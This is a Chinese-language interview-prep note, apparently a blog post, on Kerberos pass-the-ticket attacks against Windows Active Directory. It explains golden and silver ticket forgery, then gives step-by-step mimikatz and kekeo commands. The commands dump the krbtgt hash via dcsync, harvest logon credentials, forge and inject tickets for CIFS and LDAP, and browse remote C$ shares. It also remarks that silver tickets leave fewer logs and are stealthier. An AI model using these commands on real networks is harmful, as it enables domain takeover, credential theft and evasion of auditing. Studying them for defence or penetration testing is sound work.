面试有不小几率会提到的
背景
票据传递攻击(PTT) 是一种使用kerberos票据代替明文密码或N T L M哈希的方法
mimikatz提供不需要本地管理员权限进行横向渗透的方法,实现未授权访问,如Pass The Ticket
TGT(Ticket Grabting Ticket):由AS身份认证服务提供的票据,用于身份认证,存储在内存中,默认有效期为10小时
AS,是KDC的组件之一,处理初始请求并负责发出T G T给client,用于完成对Client的身份验证
TGS(Ticket Granting Service):由T G S服务提供的票据也称为白银票据,用于发出所有请求的服务的票据
TGS是kdc组件之一,从as哪里拿到tgt之后,tgs再发出对某个特定服务或服务器访问的ticket,这个ticket允许对某个服务访问
黄金票据利用条件
- 伪造的域管理员用户名
- 完整的域名
- 域 sid
- krbtgt的ntlm hash或aes-256值
krbtgt用户是愉域自带用户,被K D C所使用,属于Domain Admins组 在域环境下,每个用户帐号的票据都是由krbtgt用户所生成的,因此如果知道了krbtgt用户的N T L M H A S H或者A E S-256值就可以伪造域内任何用户的身份了
白银票据利用条件
- 域名
- 域sid
- 目标服务器的F Q D N 即完整的域名
- 可利用的服务
- 服务账户的N T L M哈希
- 伪造的用户名即任意用户名
票据伪造原理
黄金票据
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。
特点:不需要与 AS 进行交互,需要用户 krbtgt 的 Hash,可以生成任意用户的TGT,伪造TGT
白银票据
Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。
特点:不需要与KDC进行交互;需要server的NTLM hash。伪造ST
all in all
- 黄金票据或者白银票据需要拿到krbtgt或者server用户的hash,故只能为后门所用
- 白银票据利用之后没有日志,比黄金票据更好
- Service Hash是目标中一个用户名与hostname相同的用户的hash,如hostname为P C-W I N7的服务器,对应的Hash就是Username:P C W I N7$的Hash
黄金票据利用
- 导出krbtgt的N T L M H A SH
lsadump::dcsync/domain:sec.com /user:krbtgt
该命令使用的dcsync功能远程转储ad里面的ntds.dit 使用/user参数,可以只导出指定用户的值
或者使用以下命令获取krbtgt的ntlm hash,域sid值,但该命令无法获取aes-256的值
privilege::debug
lsadump::lsa /path/user:krbtgt
- 获取基本信息
获取域S I D
wmic useraccount get name,sid
获取当前用户的sid
whoami /user
查询域管理员账号
net group "domain admins" /domain
查询域名
ipconfig /all
- 制造黄金票据
先将票据清空
kerberos::purge
生成票据
kerberos::golden /admin:Administrator /domain:sec.com /sid:当前域的S I D /krbtgt:krbtgt的N T L M H A SH /ticket:Administrator.kiribi
传递票据并注入内存
kerberos::ptt Administrator.kiribi
白银票据利用
伪造G I F S服务权限
G I FS服务常用于windows主机之间的文件共享
首先使用mimikatz获取服务器账户的N T L M哈希
mimikatz log "privilege::debug" "sekurlsa::logonpasswords" exit
得到H ash后,清空当前系统中的票据,防止其他票据干扰
klist purge
kerberos::purge
使用mimikatz伪造白银票据
mimikatz "kerberos::golden /user:t /domain:sec.com sid:xxx /target:dc /rc4:xxxx /service:cifs /ptt" exit
伪造L D A P服务权限
首先判断当前权限是否可以使用dcsync域控进行同步
mimikatz "lsadump::dcsync /dc:dc /doamin:sec.com /user:krbtgt" exit
如果返回error说明当前权限不能进行dcsync操作
接下来生成L D A P服务的白银票据
mimikatz "kerberos::golden /user:t /domain:sec.com /sid:xxxx /target:dc /rc4:xxx /service:ldap /ptt" exit
使用 mimikatz 进行票据传递
使用mimikatz(管理员权限)将内存的票据导出:(运行以下命令会在当前目录生成多个服务的票据文件)
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
从中选择一个目标系统自己的,移动到黑客机器上。
将票据文件注入内存:
mimikatz "kerberos::ptt "[0;4ee98c]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi"
将最高权限的票据文件注入内存后,将列出远程计算机系统的文件目录:
dir \\192.168.3.25\C$
遇到密码错误的问题那么我们把IP换成目标主机名:
dir \\mary-pc\c$
票据传递比哈希传递更方便,更实用,成功率更高。
如果要清除内存中的票据使用mimikatz运行下面的命令:
kerberos::purge
使用 kekeo 进行票据传递
kekeo 需要使用域名、用户名、NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。
域名:god.org
用户名:administrator
NTLM Hash:ccef208c6485269c20db2cad21734fe7
也就是在目标机器上运行下面的命令,只需要普通权限就可以!
kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7"
这个时候会在当前路径下生成一个票据文件:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
之后把这个票据文件移动到黑客的机器上,在黑客机器上使用 kekeo 输入命令将移动的票据导入内存:
kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
这个时候就可以使用 dir 命令,列出远程主机中的文件:
dir \\OWA2010CN-God\c$
PS:使用 dir 命令时,务必使用主机名,如果使用 IP 地址,就有可能导致错误。
两个票据的区别
- 白银票据不经过kdc,因此白银票据日志比黄金票据日志少,日志都在目标服务器上,不在域控
- 白银票据利用服务器账号的hash,不同于黄金票据利用krbtgt账号的hash,因此白银票据更加隐蔽,但权限不如黄金票据